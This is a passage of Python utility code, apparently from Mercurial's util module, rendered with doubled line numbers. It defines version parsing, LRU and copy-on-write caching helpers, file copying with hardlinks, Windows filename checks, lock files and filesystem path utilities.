996 996 >>> versiontuple(v, 2)
997 997 (3, 6)
998 998 >>> versiontuple(v, 3)
999 999 (3, 6, None)
1000 1000 >>> versiontuple(v, 4)
1001 1001 (3, 6, None, None)
1002 1002
1003 1003 >>> v = b'3.9-rc'
1004 1004 >>> versiontuple(v, 2)
1005 1005 (3, 9)
1006 1006 >>> versiontuple(v, 3)
1007 1007 (3, 9, None)
1008 1008 >>> versiontuple(v, 4)
1009 1009 (3, 9, None, 'rc')
1010 1010
1011 1011 >>> v = b'3.9-rc+2-02a8fea4289b'
1012 1012 >>> versiontuple(v, 2)
1013 1013 (3, 9)
1014 1014 >>> versiontuple(v, 3)
1015 1015 (3, 9, None)
1016 1016 >>> versiontuple(v, 4)
1017 1017 (3, 9, None, 'rc+2-02a8fea4289b')
1018 1018
1019 1019 >>> versiontuple(b'4.6rc0')
1020 1020 (4, 6, None, 'rc0')
1021 1021 >>> versiontuple(b'4.6rc0+12-425d55e54f98')
1022 1022 (4, 6, None, 'rc0+12-425d55e54f98')
1023 1023 >>> versiontuple(b'.1.2.3')
1024 1024 (None, None, None, '.1.2.3')
1025 1025 >>> versiontuple(b'12.34..5')
1026 1026 (12, 34, None, '..5')
1027 1027 >>> versiontuple(b'1.2.3.4.5.6')
1028 1028 (1, 2, 3, '.4.5.6')
1029 1029 """
1030 1030 if not v:
1031 1031 v = version()
1032 1032 m = remod.match(br'(\d+(?:\.\d+){,2})[\+-]?(.*)', v)
1033 1033 if not m:
1034 1034 vparts, extra = '', v
1035 1035 elif m.group(2):
1036 1036 vparts, extra = m.groups()
1037 1037 else:
1038 1038 vparts, extra = m.group(1), None
1039 1039
1040 1040 vints = []
1041 1041 for i in vparts.split('.'):
1042 1042 try:
1043 1043 vints.append(int(i))
1044 1044 except ValueError:
1045 1045 break
1046 1046 # (3, 6) -> (3, 6, None)
1047 1047 while len(vints) < 3:
1048 1048 vints.append(None)
1049 1049
1050 1050 if n == 2:
1051 1051 return (vints[0], vints[1])
1052 1052 if n == 3:
1053 1053 return (vints[0], vints[1], vints[2])
1054 1054 if n == 4:
1055 1055 return (vints[0], vints[1], vints[2], extra)
1056 1056
1057 1057 def cachefunc(func):
1058 1058 '''cache the result of function calls'''
1059 1059 # XXX doesn't handle keywords args
1060 1060 if func.__code__.co_argcount == 0:
1061 1061 cache = []
1062 1062 def f():
1063 1063 if len(cache) == 0:
1064 1064 cache.append(func())
1065 1065 return cache[0]
1066 1066 return f
1067 1067 cache = {}
1068 1068 if func.__code__.co_argcount == 1:
1069 1069 # we gain a small amount of time because
1070 1070 # we don't need to pack/unpack the list
1071 1071 def f(arg):
1072 1072 if arg not in cache:
1073 1073 cache[arg] = func(arg)
1074 1074 return cache[arg]
1075 1075 else:
1076 1076 def f(*args):
1077 1077 if args not in cache:
1078 1078 cache[args] = func(*args)
1079 1079 return cache[args]
1080 1080
1081 1081 return f
1082 1082
1083 1083 class cow(object):
1084 1084 """helper class to make copy-on-write easier
1085 1085
1086 1086 Call preparewrite before doing any writes.
1087 1087 """
1088 1088
1089 1089 def preparewrite(self):
1090 1090 """call this before writes, return self or a copied new object"""
1091 1091 if getattr(self, '_copied', 0):
1092 1092 self._copied -= 1
1093 1093 return self.__class__(self)
1094 1094 return self
1095 1095
1096 1096 def copy(self):
1097 1097 """always do a cheap copy"""
1098 1098 self._copied = getattr(self, '_copied', 0) + 1
1099 1099 return self
1100 1100
1101 1101 class sortdict(collections.OrderedDict):
1102 1102 '''a simple sorted dictionary
1103 1103
1104 1104 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
1105 1105 >>> d2 = d1.copy()
1106 1106 >>> d2
1107 1107 sortdict([('a', 0), ('b', 1)])
1108 1108 >>> d2.update([(b'a', 2)])
1109 1109 >>> list(d2.keys()) # should still be in last-set order
1110 1110 ['b', 'a']
1111 1111 '''
1112 1112
1113 1113 def __setitem__(self, key, value):
1114 1114 if key in self:
1115 1115 del self[key]
1116 1116 super(sortdict, self).__setitem__(key, value)
1117 1117
1118 1118 if pycompat.ispypy:
1119 1119 # __setitem__() isn't called as of PyPy 5.8.0
1120 1120 def update(self, src):
1121 1121 if isinstance(src, dict):
1122 1122 src = src.iteritems()
1123 1123 for k, v in src:
1124 1124 self[k] = v
1125 1125
1126 1126 class cowdict(cow, dict):
1127 1127 """copy-on-write dict
1128 1128
1129 1129 Be sure to call d = d.preparewrite() before writing to d.
1130 1130
1131 1131 >>> a = cowdict()
1132 1132 >>> a is a.preparewrite()
1133 1133 True
1134 1134 >>> b = a.copy()
1135 1135 >>> b is a
1136 1136 True
1137 1137 >>> c = b.copy()
1138 1138 >>> c is a
1139 1139 True
1140 1140 >>> a = a.preparewrite()
1141 1141 >>> b is a
1142 1142 False
1143 1143 >>> a is a.preparewrite()
1144 1144 True
1145 1145 >>> c = c.preparewrite()
1146 1146 >>> b is c
1147 1147 False
1148 1148 >>> b is b.preparewrite()
1149 1149 True
1150 1150 """
1151 1151
1152 1152 class cowsortdict(cow, sortdict):
1153 1153 """copy-on-write sortdict
1154 1154
1155 1155 Be sure to call d = d.preparewrite() before writing to d.
1156 1156 """
1157 1157
1158 1158 class transactional(object):
1159 1159 """Base class for making a transactional type into a context manager."""
1160 1160 __metaclass__ = abc.ABCMeta
1161 1161
1162 1162 @abc.abstractmethod
1163 1163 def close(self):
1164 1164 """Successfully closes the transaction."""
1165 1165
1166 1166 @abc.abstractmethod
1167 1167 def release(self):
1168 1168 """Marks the end of the transaction.
1169 1169
1170 1170 If the transaction has not been closed, it will be aborted.
1171 1171 """
1172 1172
1173 1173 def __enter__(self):
1174 1174 return self
1175 1175
1176 1176 def __exit__(self, exc_type, exc_val, exc_tb):
1177 1177 try:
1178 1178 if exc_type is None:
1179 1179 self.close()
1180 1180 finally:
1181 1181 self.release()
1182 1182
1183 1183 @contextlib.contextmanager
1184 1184 def acceptintervention(tr=None):
1185 1185 """A context manager that closes the transaction on InterventionRequired
1186 1186
1187 1187 If no transaction was provided, this simply runs the body and returns
1188 1188 """
1189 1189 if not tr:
1190 1190 yield
1191 1191 return
1192 1192 try:
1193 1193 yield
1194 1194 tr.close()
1195 1195 except error.InterventionRequired:
1196 1196 tr.close()
1197 1197 raise
1198 1198 finally:
1199 1199 tr.release()
1200 1200
1201 1201 @contextlib.contextmanager
1202 1202 def nullcontextmanager():
1203 1203 yield
1204 1204
1205 1205 class _lrucachenode(object):
1206 1206 """A node in a doubly linked list.
1207 1207
1208 1208 Holds a reference to nodes on either side as well as a key-value
1209 1209 pair for the dictionary entry.
1210 1210 """
1211 1211 __slots__ = (u'next', u'prev', u'key', u'value')
1212 1212
1213 1213 def __init__(self):
1214 1214 self.next = None
1215 1215 self.prev = None
1216 1216
1217 1217 self.key = _notset
1218 1218 self.value = None
1219 1219
1220 1220 def markempty(self):
1221 1221 """Mark the node as emptied."""
1222 1222 self.key = _notset
1223 1223
1224 1224 class lrucachedict(object):
1225 1225 """Dict that caches most recent accesses and sets.
1226 1226
1227 1227 The dict consists of an actual backing dict - indexed by original
1228 1228 key - and a doubly linked circular list defining the order of entries in
1229 1229 the cache.
1230 1230
1231 1231 The head node is the newest entry in the cache. If the cache is full,
1232 1232 we recycle head.prev and make it the new head. Cache accesses result in
1233 1233 the node being moved to before the existing head and being marked as the
1234 1234 new head node.
1235 1235 """
1236 1236 def __init__(self, max):
1237 1237 self._cache = {}
1238 1238
1239 1239 self._head = head = _lrucachenode()
1240 1240 head.prev = head
1241 1241 head.next = head
1242 1242 self._size = 1
1243 1243 self._capacity = max
1244 1244
1245 1245 def __len__(self):
1246 1246 return len(self._cache)
1247 1247
1248 1248 def __contains__(self, k):
1249 1249 return k in self._cache
1250 1250
1251 1251 def __iter__(self):
1252 1252 # We don't have to iterate in cache order, but why not.
1253 1253 n = self._head
1254 1254 for i in range(len(self._cache)):
1255 1255 yield n.key
1256 1256 n = n.next
1257 1257
1258 1258 def __getitem__(self, k):
1259 1259 node = self._cache[k]
1260 1260 self._movetohead(node)
1261 1261 return node.value
1262 1262
1263 1263 def __setitem__(self, k, v):
1264 1264 node = self._cache.get(k)
1265 1265 # Replace existing value and mark as newest.
1266 1266 if node is not None:
1267 1267 node.value = v
1268 1268 self._movetohead(node)
1269 1269 return
1270 1270
1271 1271 if self._size < self._capacity:
1272 1272 node = self._addcapacity()
1273 1273 else:
1274 1274 # Grab the last/oldest item.
1275 1275 node = self._head.prev
1276 1276
1277 1277 # At capacity. Kill the old entry.
1278 1278 if node.key is not _notset:
1279 1279 del self._cache[node.key]
1280 1280
1281 1281 node.key = k
1282 1282 node.value = v
1283 1283 self._cache[k] = node
1284 1284 # And mark it as newest entry. No need to adjust order since it
1285 1285 # is already self._head.prev.
1286 1286 self._head = node
1287 1287
1288 1288 def __delitem__(self, k):
1289 1289 node = self._cache.pop(k)
1290 1290 node.markempty()
1291 1291
1292 1292 # Temporarily mark as newest item before re-adjusting head to make
1293 1293 # this node the oldest item.
1294 1294 self._movetohead(node)
1295 1295 self._head = node.next
1296 1296
1297 1297 # Additional dict methods.
1298 1298
1299 1299 def get(self, k, default=None):
1300 1300 try:
1301 1301 return self._cache[k].value
1302 1302 except KeyError:
1303 1303 return default
1304 1304
1305 1305 def clear(self):
1306 1306 n = self._head
1307 1307 while n.key is not _notset:
1308 1308 n.markempty()
1309 1309 n = n.next
1310 1310
1311 1311 self._cache.clear()
1312 1312
1313 1313 def copy(self):
1314 1314 result = lrucachedict(self._capacity)
1315 1315 n = self._head.prev
1316 1316 # Iterate in oldest-to-newest order, so the copy has the right ordering
1317 1317 for i in range(len(self._cache)):
1318 1318 result[n.key] = n.value
1319 1319 n = n.prev
1320 1320 return result
1321 1321
1322 1322 def _movetohead(self, node):
1323 1323 """Mark a node as the newest, making it the new head.
1324 1324
1325 1325 When a node is accessed, it becomes the freshest entry in the LRU
1326 1326 list, which is denoted by self._head.
1327 1327
1328 1328 Visually, let's make ``N`` the new head node (* denotes head):
1329 1329
1330 1330 previous/oldest <-> head <-> next/next newest
1331 1331
1332 1332 ----<->--- A* ---<->-----
1333 1333 | |
1334 1334 E <-> D <-> N <-> C <-> B
1335 1335
1336 1336 To:
1337 1337
1338 1338 ----<->--- N* ---<->-----
1339 1339 | |
1340 1340 E <-> D <-> C <-> B <-> A
1341 1341
1342 1342 This requires the following moves:
1343 1343
1344 1344 C.next = D (node.prev.next = node.next)
1345 1345 D.prev = C (node.next.prev = node.prev)
1346 1346 E.next = N (head.prev.next = node)
1347 1347 N.prev = E (node.prev = head.prev)
1348 1348 N.next = A (node.next = head)
1349 1349 A.prev = N (head.prev = node)
1350 1350 """
1351 1351 head = self._head
1352 1352 # C.next = D
1353 1353 node.prev.next = node.next
1354 1354 # D.prev = C
1355 1355 node.next.prev = node.prev
1356 1356 # N.prev = E
1357 1357 node.prev = head.prev
1358 1358 # N.next = A
1359 1359 # It is tempting to do just "head" here, however if node is
1360 1360 # adjacent to head, this will do bad things.
1361 1361 node.next = head.prev.next
1362 1362 # E.next = N
1363 1363 node.next.prev = node
1364 1364 # A.prev = N
1365 1365 node.prev.next = node
1366 1366
1367 1367 self._head = node
1368 1368
1369 1369 def _addcapacity(self):
1370 1370 """Add a node to the circular linked list.
1371 1371
1372 1372 The new node is inserted before the head node.
1373 1373 """
1374 1374 head = self._head
1375 1375 node = _lrucachenode()
1376 1376 head.prev.next = node
1377 1377 node.prev = head.prev
1378 1378 node.next = head
1379 1379 head.prev = node
1380 1380 self._size += 1
1381 1381 return node
1382 1382
1383 1383 def lrucachefunc(func):
1384 1384 '''cache most recent results of function calls'''
1385 1385 cache = {}
1386 1386 order = collections.deque()
1387 1387 if func.__code__.co_argcount == 1:
1388 1388 def f(arg):
1389 1389 if arg not in cache:
1390 1390 if len(cache) > 20:
1391 1391 del cache[order.popleft()]
1392 1392 cache[arg] = func(arg)
1393 1393 else:
1394 1394 order.remove(arg)
1395 1395 order.append(arg)
1396 1396 return cache[arg]
1397 1397 else:
1398 1398 def f(*args):
1399 1399 if args not in cache:
1400 1400 if len(cache) > 20:
1401 1401 del cache[order.popleft()]
1402 1402 cache[args] = func(*args)
1403 1403 else:
1404 1404 order.remove(args)
1405 1405 order.append(args)
1406 1406 return cache[args]
1407 1407
1408 1408 return f
1409 1409
1410 1410 class propertycache(object):
1411 1411 def __init__(self, func):
1412 1412 self.func = func
1413 1413 self.name = func.__name__
1414 1414 def __get__(self, obj, type=None):
1415 1415 result = self.func(obj)
1416 1416 self.cachevalue(obj, result)
1417 1417 return result
1418 1418
1419 1419 def cachevalue(self, obj, value):
1420 1420 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
1421 1421 obj.__dict__[self.name] = value
1422 1422
1423 1423 def clearcachedproperty(obj, prop):
1424 1424 '''clear a cached property value, if one has been set'''
1425 1425 if prop in obj.__dict__:
1426 1426 del obj.__dict__[prop]
1427 1427
1428 1428 def increasingchunks(source, min=1024, max=65536):
1429 1429 '''return no less than min bytes per chunk while data remains,
1430 1430 doubling min after each chunk until it reaches max'''
1431 1431 def log2(x):
1432 1432 if not x:
1433 1433 return 0
1434 1434 i = 0
1435 1435 while x:
1436 1436 x >>= 1
1437 1437 i += 1
1438 1438 return i - 1
1439 1439
1440 1440 buf = []
1441 1441 blen = 0
1442 1442 for chunk in source:
1443 1443 buf.append(chunk)
1444 1444 blen += len(chunk)
1445 1445 if blen >= min:
1446 1446 if min < max:
1447 1447 min = min << 1
1448 1448 nmin = 1 << log2(blen)
1449 1449 if nmin > min:
1450 1450 min = nmin
1451 1451 if min > max:
1452 1452 min = max
1453 1453 yield ''.join(buf)
1454 1454 blen = 0
1455 1455 buf = []
1456 1456 if buf:
1457 1457 yield ''.join(buf)
1458 1458
1459 1459 def always(fn):
1460 1460 return True
1461 1461
1462 1462 def never(fn):
1463 1463 return False
1464 1464
1465 1465 def nogc(func):
1466 1466 """disable garbage collector
1467 1467
1468 1468 Python's garbage collector triggers a GC each time a certain number of
1469 1469 container objects (the number being defined by gc.get_threshold()) are
1470 1470 allocated even when marked not to be tracked by the collector. Tracking has
1471 1471 no effect on when GCs are triggered, only on what objects the GC looks
1472 1472 into. As a workaround, disable GC while building complex (huge)
1473 1473 containers.
1474 1474
1475 1475 This garbage collector issue have been fixed in 2.7. But it still affect
1476 1476 CPython's performance.
1477 1477 """
1478 1478 def wrapper(*args, **kwargs):
1479 1479 gcenabled = gc.isenabled()
1480 1480 gc.disable()
1481 1481 try:
1482 1482 return func(*args, **kwargs)
1483 1483 finally:
1484 1484 if gcenabled:
1485 1485 gc.enable()
1486 1486 return wrapper
1487 1487
1488 1488 if pycompat.ispypy:
1489 1489 # PyPy runs slower with gc disabled
1490 1490 nogc = lambda x: x
1491 1491
1492 1492 def pathto(root, n1, n2):
1493 1493 '''return the relative path from one place to another.
1494 1494 root should use os.sep to separate directories
1495 1495 n1 should use os.sep to separate directories
1496 1496 n2 should use "/" to separate directories
1497 1497 returns an os.sep-separated path.
1498 1498
1499 1499 If n1 is a relative path, it's assumed it's
1500 1500 relative to root.
1501 1501 n2 should always be relative to root.
1502 1502 '''
1503 1503 if not n1:
1504 1504 return localpath(n2)
1505 1505 if os.path.isabs(n1):
1506 1506 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1507 1507 return os.path.join(root, localpath(n2))
1508 1508 n2 = '/'.join((pconvert(root), n2))
1509 1509 a, b = splitpath(n1), n2.split('/')
1510 1510 a.reverse()
1511 1511 b.reverse()
1512 1512 while a and b and a[-1] == b[-1]:
1513 1513 a.pop()
1514 1514 b.pop()
1515 1515 b.reverse()
1516 1516 return pycompat.ossep.join((['..'] * len(a)) + b) or '.'
1517 1517
1518 1518 # the location of data files matching the source code
1519 1519 if procutil.mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
1520 1520 # executable version (py2exe) doesn't support __file__
1521 1521 datapath = os.path.dirname(pycompat.sysexecutable)
1522 1522 else:
1523 1523 datapath = os.path.dirname(pycompat.fsencode(__file__))
1524 1524
1525 1525 i18n.setdatapath(datapath)
1526 1526
1527 1527 def checksignature(func):
1528 1528 '''wrap a function with code to check for calling errors'''
1529 1529 def check(*args, **kwargs):
1530 1530 try:
1531 1531 return func(*args, **kwargs)
1532 1532 except TypeError:
1533 1533 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1534 1534 raise error.SignatureError
1535 1535 raise
1536 1536
1537 1537 return check
1538 1538
1539 1539 # a whilelist of known filesystems where hardlink works reliably
1540 1540 _hardlinkfswhitelist = {
1541 1541 'apfs',
1542 1542 'btrfs',
1543 1543 'ext2',
1544 1544 'ext3',
1545 1545 'ext4',
1546 1546 'hfs',
1547 1547 'jfs',
1548 1548 'NTFS',
1549 1549 'reiserfs',
1550 1550 'tmpfs',
1551 1551 'ufs',
1552 1552 'xfs',
1553 1553 'zfs',
1554 1554 }
1555 1555
1556 1556 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1557 1557 '''copy a file, preserving mode and optionally other stat info like
1558 1558 atime/mtime
1559 1559
1560 1560 checkambig argument is used with filestat, and is useful only if
1561 1561 destination file is guarded by any lock (e.g. repo.lock or
1562 1562 repo.wlock).
1563 1563
1564 1564 copystat and checkambig should be exclusive.
1565 1565 '''
1566 1566 assert not (copystat and checkambig)
1567 1567 oldstat = None
1568 1568 if os.path.lexists(dest):
1569 1569 if checkambig:
1570 1570 oldstat = checkambig and filestat.frompath(dest)
1571 1571 unlink(dest)
1572 1572 if hardlink:
1573 1573 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1574 1574 # unless we are confident that dest is on a whitelisted filesystem.
1575 1575 try:
1576 1576 fstype = getfstype(os.path.dirname(dest))
1577 1577 except OSError:
1578 1578 fstype = None
1579 1579 if fstype not in _hardlinkfswhitelist:
1580 1580 hardlink = False
1581 1581 if hardlink:
1582 1582 try:
1583 1583 oslink(src, dest)
1584 1584 return
1585 1585 except (IOError, OSError):
1586 1586 pass # fall back to normal copy
1587 1587 if os.path.islink(src):
1588 1588 os.symlink(os.readlink(src), dest)
1589 1589 # copytime is ignored for symlinks, but in general copytime isn't needed
1590 1590 # for them anyway
1591 1591 else:
1592 1592 try:
1593 1593 shutil.copyfile(src, dest)
1594 1594 if copystat:
1595 1595 # copystat also copies mode
1596 1596 shutil.copystat(src, dest)
1597 1597 else:
1598 1598 shutil.copymode(src, dest)
1599 1599 if oldstat and oldstat.stat:
1600 1600 newstat = filestat.frompath(dest)
1601 1601 if newstat.isambig(oldstat):
1602 1602 # stat of copied file is ambiguous to original one
1603 1603 advanced = (
1604 1604 oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
1605 1605 os.utime(dest, (advanced, advanced))
1606 1606 except shutil.Error as inst:
1607 1607 raise error.Abort(str(inst))
1608 1608
1609 1609 def copyfiles(src, dst, hardlink=None, progress=None):
1610 1610 """Copy a directory tree using hardlinks if possible."""
1611 1611 num = 0
1612 1612
1613 1613 def settopic():
1614 1614 if progress:
1615 1615 progress.topic = _('linking') if hardlink else _('copying')
1616 1616
1617 1617 if os.path.isdir(src):
1618 1618 if hardlink is None:
1619 1619 hardlink = (os.stat(src).st_dev ==
1620 1620 os.stat(os.path.dirname(dst)).st_dev)
1621 1621 settopic()
1622 1622 os.mkdir(dst)
1623 1623 for name, kind in listdir(src):
1624 1624 srcname = os.path.join(src, name)
1625 1625 dstname = os.path.join(dst, name)
1626 1626 hardlink, n = copyfiles(srcname, dstname, hardlink, progress)
1627 1627 num += n
1628 1628 else:
1629 1629 if hardlink is None:
1630 1630 hardlink = (os.stat(os.path.dirname(src)).st_dev ==
1631 1631 os.stat(os.path.dirname(dst)).st_dev)
1632 1632 settopic()
1633 1633
1634 1634 if hardlink:
1635 1635 try:
1636 1636 oslink(src, dst)
1637 1637 except (IOError, OSError):
1638 1638 hardlink = False
1639 1639 shutil.copy(src, dst)
1640 1640 else:
1641 1641 shutil.copy(src, dst)
1642 1642 num += 1
1643 1643 if progress:
1644 1644 progress.increment()
1645 1645
1646 1646 return hardlink, num
1647 1647
1648 1648 _winreservednames = {
1649 1649 'con', 'prn', 'aux', 'nul',
1650 1650 'com1', 'com2', 'com3', 'com4', 'com5', 'com6', 'com7', 'com8', 'com9',
1651 1651 'lpt1', 'lpt2', 'lpt3', 'lpt4', 'lpt5', 'lpt6', 'lpt7', 'lpt8', 'lpt9',
1652 1652 }
1653 1653 _winreservedchars = ':*?"<>|'
1654 1654 def checkwinfilename(path):
1655 1655 r'''Check that the base-relative path is a valid filename on Windows.
1656 1656 Returns None if the path is ok, or a UI string describing the problem.
1657 1657
1658 1658 >>> checkwinfilename(b"just/a/normal/path")
1659 1659 >>> checkwinfilename(b"foo/bar/con.xml")
1660 1660 "filename contains 'con', which is reserved on Windows"
1661 1661 >>> checkwinfilename(b"foo/con.xml/bar")
1662 1662 "filename contains 'con', which is reserved on Windows"
1663 1663 >>> checkwinfilename(b"foo/bar/xml.con")
1664 1664 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
1665 1665 "filename contains 'AUX', which is reserved on Windows"
1666 1666 >>> checkwinfilename(b"foo/bar/bla:.txt")
1667 1667 "filename contains ':', which is reserved on Windows"
1668 1668 >>> checkwinfilename(b"foo/bar/b\07la.txt")
1669 1669 "filename contains '\\x07', which is invalid on Windows"
1670 1670 >>> checkwinfilename(b"foo/bar/bla ")
1671 1671 "filename ends with ' ', which is not allowed on Windows"
1672 1672 >>> checkwinfilename(b"../bar")
1673 1673 >>> checkwinfilename(b"foo\\")
1674 1674 "filename ends with '\\', which is invalid on Windows"
1675 1675 >>> checkwinfilename(b"foo\\/bar")
1676 1676 "directory name ends with '\\', which is invalid on Windows"
1677 1677 '''
1678 1678 if path.endswith('\\'):
1679 1679 return _("filename ends with '\\', which is invalid on Windows")
1680 1680 if '\\/' in path:
1681 1681 return _("directory name ends with '\\', which is invalid on Windows")
1682 1682 for n in path.replace('\\', '/').split('/'):
1683 1683 if not n:
1684 1684 continue
1685 1685 for c in _filenamebytestr(n):
1686 1686 if c in _winreservedchars:
1687 1687 return _("filename contains '%s', which is reserved "
1688 1688 "on Windows") % c
1689 1689 if ord(c) <= 31:
1690 1690 return _("filename contains '%s', which is invalid "
1691 1691 "on Windows") % stringutil.escapestr(c)
1692 1692 base = n.split('.')[0]
1693 1693 if base and base.lower() in _winreservednames:
1694 1694 return _("filename contains '%s', which is reserved "
1695 1695 "on Windows") % base
1696 1696 t = n[-1:]
1697 1697 if t in '. ' and n not in '..':
1698 1698 return _("filename ends with '%s', which is not allowed "
1699 1699 "on Windows") % t
1700 1700
1701 1701 if pycompat.iswindows:
1702 1702 checkosfilename = checkwinfilename
1703 1703 timer = time.clock
1704 1704 else:
1705 1705 checkosfilename = platform.checkosfilename
1706 1706 timer = time.time
1707 1707
1708 1708 if safehasattr(time, "perf_counter"):
1709 1709 timer = time.perf_counter
1710 1710
1711 1711 def makelock(info, pathname):
1712 1712 """Create a lock file atomically if possible
1713 1713
1714 1714 This may leave a stale lock file if symlink isn't supported and signal
1715 1715 interrupt is enabled.
1716 1716 """
1717 1717 try:
1718 1718 return os.symlink(info, pathname)
1719 1719 except OSError as why:
1720 1720 if why.errno == errno.EEXIST:
1721 1721 raise
1722 1722 except AttributeError: # no symlink in os
1723 1723 pass
1724 1724
1725 1725 flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
1726 1726 ld = os.open(pathname, flags)
1727 1727 os.write(ld, info)
1728 1728 os.close(ld)
1729 1729
1730 1730 def readlock(pathname):
1731 1731 try:
1732 1732 return os.readlink(pathname)
1733 1733 except OSError as why:
1734 1734 if why.errno not in (errno.EINVAL, errno.ENOSYS):
1735 1735 raise
1736 1736 except AttributeError: # no symlink in os
1737 1737 pass
1738 1738 fp = posixfile(pathname, 'rb')
1739 1739 r = fp.read()
1740 1740 fp.close()
1741 1741 return r
1742 1742
1743 1743 def fstat(fp):
1744 1744 '''stat file object that may not have fileno method.'''
1745 1745 try:
1746 1746 return os.fstat(fp.fileno())
1747 1747 except AttributeError:
1748 1748 return os.stat(fp.name)
1749 1749
1750 1750 # File system features
1751 1751
1752 1752 def fscasesensitive(path):
1753 1753 """
1754 1754 Return true if the given path is on a case-sensitive filesystem
1755 1755
1756 1756 Requires a path (like /foo/.hg) ending with a foldable final
1757 1757 directory component.
1758 1758 """
1759 1759 s1 = os.lstat(path)
1760 1760 d, b = os.path.split(path)
1761 1761 b2 = b.upper()
1762 1762 if b == b2:
1763 1763 b2 = b.lower()
1764 1764 if b == b2:
1765 1765 return True # no evidence against case sensitivity
1766 1766 p2 = os.path.join(d, b2)
1767 1767 try:
1768 1768 s2 = os.lstat(p2)
1769 1769 if s2 == s1:
1770 1770 return False
1771 1771 return True
1772 1772 except OSError:
1773 1773 return True
1774 1774
1775 1775 try:
1776 1776 import re2
1777 1777 _re2 = None
1778 1778 except ImportError:
1779 1779 _re2 = False
1780 1780
1781 1781 class _re(object):
1782 1782 def _checkre2(self):
1783 1783 global _re2
1784 1784 try:
1785 1785 # check if match works, see issue3964
1786 1786 _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
1787 1787 except ImportError:
1788 1788 _re2 = False
1789 1789
1790 1790 def compile(self, pat, flags=0):
1791 1791 '''Compile a regular expression, using re2 if possible
1792 1792
1793 1793 For best performance, use only re2-compatible regexp features. The
1794 1794 only flags from the re module that are re2-compatible are
1795 1795 IGNORECASE and MULTILINE.'''
1796 1796 if _re2 is None:
1797 1797 self._checkre2()
1798 1798 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
1799 1799 if flags & remod.IGNORECASE:
1800 1800 pat = '(?i)' + pat
1801 1801 if flags & remod.MULTILINE:
1802 1802 pat = '(?m)' + pat
1803 1803 try:
1804 1804 return re2.compile(pat)
1805 1805 except re2.error:
1806 1806 pass
1807 1807 return remod.compile(pat, flags)
1808 1808
1809 1809 @propertycache
1810 1810 def escape(self):
1811 1811 '''Return the version of escape corresponding to self.compile.
1812 1812
1813 1813 This is imperfect because whether re2 or re is used for a particular
1814 1814 function depends on the flags, etc, but it's the best we can do.
1815 1815 '''
1816 1816 global _re2
1817 1817 if _re2 is None:
1818 1818 self._checkre2()
1819 1819 if _re2:
1820 1820 return re2.escape
1821 1821 else:
1822 1822 return remod.escape
1823 1823
1824 1824 re = _re()
1825 1825
1826 1826 _fspathcache = {}
1827 1827 def fspath(name, root):
1828 1828 '''Get name in the case stored in the filesystem
1829 1829
1830 1830 The name should be relative to root, and be normcase-ed for efficiency.
1831 1831
1832 1832 Note that this function is unnecessary, and should not be
1833 1833 called, for case-sensitive filesystems (simply because it's expensive).
1834 1834
1835 1835 The root should be normcase-ed, too.
1836 1836 '''
1837 1837 def _makefspathcacheentry(dir):
1838 1838 return dict((normcase(n), n) for n in os.listdir(dir))
1839 1839
1840 1840 seps = pycompat.ossep
1841 1841 if pycompat.osaltsep:
1842 1842 seps = seps + pycompat.osaltsep
1843 1843 # Protect backslashes. This gets silly very quickly.
1844 1844 seps.replace('\\','\\\\')
1845 1845 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
1846 1846 dir = os.path.normpath(root)
1847 1847 result = []
1848 1848 for part, sep in pattern.findall(name):
1849 1849 if sep:
1850 1850 result.append(sep)
1851 1851 continue
1852 1852
1853 1853 if dir not in _fspathcache:
1854 1854 _fspathcache[dir] = _makefspathcacheentry(dir)
1855 1855 contents = _fspathcache[dir]
1856 1856
1857 1857 found = contents.get(part)
1858 1858 if not found:
1859 1859 # retry "once per directory" per "dirstate.walk" which
1860 1860 # may take place for each patches of "hg qpush", for example
1861 1861 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
1862 1862 found = contents.get(part)
1863 1863
1864 1864 result.append(found or part)
1865 1865 dir = os.path.join(dir, part)
1866 1866
1867 1867 return ''.join(result)
1868 1868
1869 1869 def checknlink(testfile):
1870 1870 '''check whether hardlink count reporting works properly'''
1871 1871
1872 1872 # testfile may be open, so we need a separate file for checking to
1873 1873 # work around issue2543 (or testfile may get lost on Samba shares)
1874 1874 f1, f2, fp = None, None, None
1875 1875 try:
1876 1876 fd, f1 = pycompat.mkstemp(prefix='.%s-' % os.path.basename(testfile),
1877 1877 suffix='1~', dir=os.path.dirname(testfile))
1878 1878 os.close(fd)
1879 1879 f2 = '%s2~' % f1[:-2]
1880 1880
1881 1881 oslink(f1, f2)
1882 1882 # nlinks() may behave differently for files on Windows shares if
1883 1883 # the file is open.
1884 1884 fp = posixfile(f2)
1885 1885 return nlinks(f2) > 1
1886 1886 except OSError:
1887 1887 return False
1888 1888 finally:
1889 1889 if fp is not None:
1890 1890 fp.close()
1891 1891 for f in (f1, f2):
1892 1892 try:
1893 1893 if f is not None:
1894 1894 os.unlink(f)
1895 1895 except OSError:
1896 1896 pass
1897 1897
1898 1898 def endswithsep(path):
1899 1899 '''Check path ends with os.sep or os.altsep.'''
1900 1900 return (path.endswith(pycompat.ossep)
1901 1901 or pycompat.osaltsep and path.endswith(pycompat.osaltsep))
1902 1902
1903 1903 def splitpath(path):
1904 1904 '''Split path by os.sep.
1905 1905 Note that this function does not use os.altsep because this is
1906 1906 an alternative of simple "xxx.split(os.sep)".
1907 1907 It is recommended to use os.path.normpath() before using this
1908 1908 function if need.'''
1909 1909 return path.split(pycompat.ossep)
1910 1910
1911 1911 def mktempcopy(name, emptyok=False, createmode=None):
1912 1912 """Create a temporary file with the same contents from name
1913 1913
1914 1914 The permission bits are copied from the original file.
1915 1915
1916 1916 If the temporary file is going to be truncated immediately, you
1917 1917 can use emptyok=True as an optimization.
1918 1918
1919 1919 Returns the name of the temporary file.
1920 1920 """
1921 1921 d, fn = os.path.split(name)
